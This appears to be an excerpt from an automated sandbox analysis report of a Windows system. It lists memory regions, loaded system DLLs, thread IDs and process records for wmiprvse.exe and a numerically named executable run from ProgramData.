name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 855
start_va = 0x7ffc6fd30000
end_va = 0x7ffc6fd9afff
monitored = 0
entry_point = 0x7ffc6fd490c0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 856
start_va = 0x7ffc6fda0000
end_va = 0x7ffc6ff25fff
monitored = 0
entry_point = 0x7ffc6fdeffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 857
start_va = 0x7ffc6ff30000
end_va = 0x7ffc6ffd6fff
monitored = 0
entry_point = 0x7ffc6ff3b4d0
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 858
start_va = 0x7ffc71860000
end_va = 0x7ffc718bafff
monitored = 0
entry_point = 0x7ffc718738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 859
start_va = 0x7ffc71ae0000
end_va = 0x7ffc71b86fff
monitored = 0
entry_point = 0x7ffc71af58d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 860
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Thread:
id = 95
os_tid = 0x1080
Thread:
id = 96
os_tid = 0x107c
Thread:
id = 97
os_tid = 0x1078
Thread:
id = 98
os_tid = 0x1074
Thread:
id = 99
os_tid = 0x1070
[0145.868] DllCanUnloadNow () returned 0x1
Thread:
id = 100
os_tid = 0x106c
Thread:
id = 101
os_tid = 0x1068
[0054.509] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2
Thread:
id = 102
os_tid = 0x1064
Thread:
id = 103
os_tid = 0x1060
Thread:
id = 104
os_tid = 0x105c
Thread:
id = 105
os_tid = 0x1058
Process:
id = "4"
image_name = "wmiprvse.exe"
filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
page_root = "0x67eef000"
os_pid = "0x664"
os_integrity_level = "0x4000"
os_privileges = "0xe60b1e890"
monitor_reason = "rpc_server"
parent_id = "2"
os_parent_pid = "0x26c"
cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xe], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ac15" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Region:
id = 1138
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1139
start_va = 0xf24310000
end_va = 0xf2438ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24310000"
filename = ""
Region:
id = 1140
start_va = 0xf24400000
end_va = 0xf245fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24400000"
filename = ""
Region:
id = 1141
start_va = 0xf24600000
end_va = 0xf2467ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24600000"
filename = ""
Region:
id = 1142
start_va = 0xf24680000
end_va = 0xf246fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24680000"
filename = ""
Region:
id = 1143
start_va = 0xf24700000
end_va = 0xf2477ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24700000"
filename = ""
Region:
id = 1144
start_va = 0xf24780000
end_va = 0xf247fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24780000"
filename = ""
Region:
id = 1145
start_va = 0xf24800000
end_va = 0xf2487ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24800000"
filename = ""
Region:
id = 1146
start_va = 0xf24880000
end_va = 0xf248fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24880000"
filename = ""
Region:
id = 1147
start_va = 0xf24900000
end_va = 0xf2497ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24900000"
filename = ""
Region:
id = 1148
start_va = 0xf24980000
end_va = 0xf249fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000f24980000"
filename = ""
Region:
id = 1149
start_va = 0x1d911410000
end_va = 0x1d91141ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911410000"
filename = ""
Region:
id = 1150
start_va = 0x1d911420000
end_va = 0x1d911426fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d911420000"
filename = ""
Region:
id = 1151
start_va = 0x1d911430000
end_va = 0x1d911444fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911430000"
filename = ""
Region:
id = 1152
start_va = 0x1d911450000
end_va = 0x1d911453fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911450000"
filename = ""
Region:
id = 1153
start_va = 0x1d911460000
end_va = 0x1d911460fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911460000"
filename = ""
Region:
id = 1154
start_va = 0x1d911470000
end_va = 0x1d911471fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d911470000"
filename = ""
Region:
id = 1155
start_va = 0x1d911480000
end_va = 0x1d91153dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1156
start_va = 0x1d911540000
end_va = 0x1d911546fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d911540000"
filename = ""
Region:
id = 1157
start_va = 0x1d911550000
end_va = 0x1d911550fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d911550000"
filename = ""
Region:
id = 1158
start_va = 0x1d911560000
end_va = 0x1d911560fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d911560000"
filename = ""
Region:
id = 1159
start_va = 0x1d911570000
end_va = 0x1d911574fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "user32.dll.mui"
filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui")
Region:
id = 1160
start_va = 0x1d911580000
end_va = 0x1d911580fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911580000"
filename = ""
Region:
id = 1161
start_va = 0x1d911590000
end_va = 0x1d911590fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911590000"
filename = ""
Region:
id = 1162
start_va = 0x1d9115a0000
end_va = 0x1d9115a0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d9115a0000"
filename = ""
Region:
id = 1163
start_va = 0x1d9115c0000
end_va = 0x1d9116bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d9115c0000"
filename = ""
Region:
id = 1164
start_va = 0x1d9116c0000
end_va = 0x1d911847fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d9116c0000"
filename = ""
Region:
id = 1165
start_va = 0x1d911890000
end_va = 0x1d91189ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d911890000"
filename = ""
Region:
id = 1166
start_va = 0x1d9118a0000
end_va = 0x1d911bd6fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1167
start_va = 0x1d911be0000
end_va = 0x1d911d60fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911be0000"
filename = ""
Region:
id = 1168
start_va = 0x1d911d70000
end_va = 0x1d911e2ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001d911d70000"
filename = ""
Region:
id = 1169
start_va = 0x1d911e30000
end_va = 0x1d911f2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001d911e30000"
filename = ""
Region:
id = 1170
start_va = 0x7df5ff2c0000
end_va = 0x7ff5ff2bffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ff2c0000"
filename = ""
Region:
id = 1171
start_va = 0x7ff61cbc0000
end_va = 0x7ff61ccbffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff61cbc0000"
filename = ""
Region:
id = 1172
start_va = 0x7ff61ccc0000
end_va = 0x7ff61cce2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff61ccc0000"
filename = ""
Region:
id = 1173
start_va = 0x7ff61da80000
end_va = 0x7ff61dafffff
monitored = 0
entry_point = 0x7ff61da95f50
region_type = mapped_file
name = "wmiprvse.exe"
filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")
Region:
id = 1174
start_va = 0x7ffc5aa60000
end_va = 0x7ffc5aaacfff
monitored = 0
entry_point = 0x7ffc5aa6b470
region_type = mapped_file
name = "pdh.dll"
filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll")
Region:
id = 1175
start_va = 0x7ffc5c7b0000
end_va = 0x7ffc5c7ecfff
monitored = 1
entry_point = 0x7ffc5c7bb760
region_type = mapped_file
name = "wmiprov.dll"
filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll")
Region:
id = 1176
start_va = 0x7ffc5f5c0000
end_va = 0x7ffc5f5d5fff
monitored = 0
entry_point = 0x7ffc5f5c55e0
region_type = mapped_file
name = "ncobjapi.dll"
filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")
Region:
id = 1177
start_va = 0x7ffc5f650000
end_va = 0x7ffc5f674fff
monitored = 0
entry_point = 0x7ffc5f659900
region_type = mapped_file
name = "wmiutils.dll"
filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")
Region:
id = 1178
start_va = 0x7ffc5f680000
end_va = 0x7ffc5f693fff
monitored = 0
entry_point = 0x7ffc5f681800
region_type = mapped_file
name = "wbemsvc.dll"
filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")
Region:
id = 1179
start_va = 0x7ffc5f6a0000
end_va = 0x7ffc5f795fff
monitored = 0
entry_point = 0x7ffc5f6d9590
region_type = mapped_file
name = "fastprox.dll"
filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")
Region:
id = 1180
start_va = 0x7ffc60000000
end_va = 0x7ffc60010fff
monitored = 0
entry_point = 0x7ffc60002fc0
region_type = mapped_file
name = "wbemprox.dll"
filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")
Region:
id = 1181
start_va = 0x7ffc60f00000
end_va = 0x7ffc60f7efff
monitored = 1
entry_point = 0x7ffc60f17110
region_type = mapped_file
name = "wbemcomn.dll"
filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")
Region:
id = 1182
start_va = 0x7ffc675d0000
end_va = 0x7ffc675f4fff
monitored = 1
entry_point = 0x7ffc675e5dc0
region_type = mapped_file
name = "wmiperfclass.dll"
filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll")
Region:
id = 1183
start_va = 0x7ffc6a630000
end_va = 0x7ffc6a693fff
monitored = 0
entry_point = 0x7ffc6a645ae0
region_type = mapped_file
name = "wevtapi.dll"
filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")
Region:
id = 1184
start_va = 0x7ffc6a910000
end_va = 0x7ffc6a920fff
monitored = 0
entry_point = 0x7ffc6a913320
region_type = mapped_file
name = "wmiclnt.dll"
filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll")
Region:
id = 1185
start_va = 0x7ffc6d7b0000
end_va = 0x7ffc6d7e0fff
monitored = 0
entry_point = 0x7ffc6d7b7d10
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 1186
start_va = 0x7ffc6e150000
end_va = 0x7ffc6e178fff
monitored = 0
entry_point = 0x7ffc6e164530
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")
Region:
id = 1187
start_va = 0x7ffc6e330000
end_va = 0x7ffc6e33efff
monitored = 0
entry_point = 0x7ffc6e333210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 1188
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1189
start_va = 0x7ffc6e7c0000
end_va = 0x7ffc6e829fff
monitored = 0
entry_point = 0x7ffc6e7f6d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 1190
start_va = 0x7ffc6f0a0000
end_va = 0x7ffc6f160fff
monitored = 0
entry_point = 0x7ffc6f0c0da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 1191
start_va = 0x7ffc6f240000
end_va = 0x7ffc6f395fff
monitored = 0
entry_point = 0x7ffc6f24a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1192
start_va = 0x7ffc6f3b0000
end_va = 0x7ffc6f4cbfff
monitored = 0
entry_point = 0x7ffc6f3f02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1193
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1194
start_va = 0x7ffc6f570000
end_va = 0x7ffc6f7ecfff
monitored = 0
entry_point = 0x7ffc6f644970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 1195
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1196
start_va = 0x7ffc6fd30000
end_va = 0x7ffc6fd9afff
monitored = 0
entry_point = 0x7ffc6fd490c0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 1197
start_va = 0x7ffc6fda0000
end_va = 0x7ffc6ff25fff
monitored = 0
entry_point = 0x7ffc6fdeffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1198
start_va = 0x7ffc6ff30000
end_va = 0x7ffc6ffd6fff
monitored = 0
entry_point = 0x7ffc6ff3b4d0
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 1199
start_va = 0x7ffc71860000
end_va = 0x7ffc718bafff
monitored = 0
entry_point = 0x7ffc718738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1200
start_va = 0x7ffc71ae0000
end_va = 0x7ffc71b86fff
monitored = 0
entry_point = 0x7ffc71af58d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1201
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Thread:
id = 106
os_tid = 0xbd0
Thread:
id = 107
os_tid = 0x968
Thread:
id = 108
os_tid = 0x8b4
[0132.406] DllCanUnloadNow () returned 0x1
[0132.406] DllCanUnloadNow () returned 0x1
Thread:
id = 109
os_tid = 0x770
Thread:
id = 110
os_tid = 0x77c
Thread:
id = 111
os_tid = 0x778
Thread:
id = 112
os_tid = 0x6f8
Thread:
id = 113
os_tid = 0x364
Thread:
id = 114
os_tid = 0x660
Process:
id = "5"
image_name = "23111707348706201124.exe"
filename = "c:\\programdata\\23111707348706201124.exe"
page_root = "0x5e13f000"
os_pid = "0x135c"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x12ec"
cmd_line = "\"C:\\ProgramData\\23111707348706201124.exe\" "
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1014
start_va = 0x1290000
end_va = 0x20f2fff
monitored = 1
entry_point = 0x20f1280
region_type = mapped_file
name = "23111707348706201124.exe"
filename = "\\ProgramData\\23111707348706201124.exe" (normalized: "c:\\programdata\\23111707348706201124.exe")
Region:
id = 1015
start_va = 0x3c000000
end_va = 0x3c1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000003c000000"
filename = ""
Region:
id = 1016
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1017
start_va = 0xd17c000000
end_va = 0xd17c1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17c000000"
filename = ""
Region:
id = 1018
start_va = 0xd17c200000
end_va = 0xd17c3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17c200000"
filename = ""
Region:
id = 1019
start_va = 0x25dd5310000
end_va = 0x25dd532ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5310000"
filename = ""
Region:
id = 1020
start_va = 0x25dd5330000
end_va = 0x25dd5344fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000025dd5330000"
filename = ""
Region:
id = 1021
start_va = 0x25dd5350000
end_va = 0x25dd5353fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000025dd5350000"
filename = ""
Region:
id = 1022
start_va = 0x25dd5360000
end_va = 0x25dd5361fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5360000"
filename = ""
Region:
id = 1023
start_va = 0x7ff5fffb0000
end_va = 0x7ff5fffd2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff5fffb0000"
filename = ""
Region:
id = 1024
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1027
start_va = 0x25dd5370000
end_va = 0x25dd54dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5370000"
filename = ""
Region:
id = 1028
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1029
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1030
start_va = 0x25dd5310000
end_va = 0x25dd531ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000025dd5310000"
filename = ""
Region:
id = 1031
start_va = 0x7ff5ffeb0000
end_va = 0x7ff5fffaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff5ffeb0000"
filename = ""
Region:
id = 1032
start_va = 0x25dd54e0000
end_va = 0x25dd559dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1033
start_va = 0x7ffc6cba0000
end_va = 0x7ffc6cc18fff
monitored = 0
entry_point = 0x7ffc6cbbfb90
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")
Region:
id = 1034
start_va = 0x7ff5ffe30000
end_va = 0x7ff5ffeadfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb")
Region:
id = 1035
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1036
start_va = 0xd17c400000
end_va = 0xd17c5fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17c400000"
filename = ""
Region:
id = 1037
start_va = 0x25dd55a0000
end_va = 0x25dd56affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd55a0000"
filename = ""
Region:
id = 1038
start_va = 0x25dd5320000
end_va = 0x25dd5326fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5320000"
filename = ""
Region:
id = 1102
start_va = 0x7ffc71ae0000
end_va = 0x7ffc71b86fff
monitored = 0
entry_point = 0x7ffc71af58d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1103
start_va = 0x7ffc71860000
end_va = 0x7ffc718bafff
monitored = 0
entry_point = 0x7ffc718738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1104
start_va = 0x7ffc6f3b0000
end_va = 0x7ffc6f4cbfff
monitored = 0
entry_point = 0x7ffc6f3f02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1105
start_va = 0x25dd5370000
end_va = 0x25dd5376fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5370000"
filename = ""
Region:
id = 1106
start_va = 0x25dd53e0000
end_va = 0x25dd54dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd53e0000"
filename = ""
Region:
id = 1107
start_va = 0x7ffc6dd60000
end_va = 0x7ffc6dd6afff
monitored = 0
entry_point = 0x7ffc6dd619a0
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 1108
start_va = 0x7ffc6e7c0000
end_va = 0x7ffc6e829fff
monitored = 0
entry_point = 0x7ffc6e7f6d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 1109
start_va = 0x7ffc6cae0000
end_va = 0x7ffc6cb02fff
monitored = 0
entry_point = 0x7ffc6cae3670
region_type = mapped_file
name = "winmm.dll"
filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll")
Region:
id = 1110
start_va = 0x7ffc6f240000
end_va = 0x7ffc6f395fff
monitored = 0
entry_point = 0x7ffc6f24a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1111
start_va = 0x7ffc6fda0000
end_va = 0x7ffc6ff25fff
monitored = 0
entry_point = 0x7ffc6fdeffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1112
start_va = 0x7ffc6ca80000
end_va = 0x7ffc6caabfff
monitored = 0
entry_point = 0x7ffc6ca88210
region_type = mapped_file
name = "winmmbase.dll"
filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll")
Region:
id = 1113
start_va = 0x7ffc6ee80000
end_va = 0x7ffc6eec2fff
monitored = 0
entry_point = 0x7ffc6ee94b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 1114
start_va = 0x25dd5380000
end_va = 0x25dd53b8fff
monitored = 0
entry_point = 0x25dd53812f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1115
start_va = 0x25dd56b0000
end_va = 0x25dd5837fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000025dd56b0000"
filename = ""
Region:
id = 1116
start_va = 0x7ffc6fc20000
end_va = 0x7ffc6fc5afff
monitored = 0
entry_point = 0x7ffc6fc212f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1117
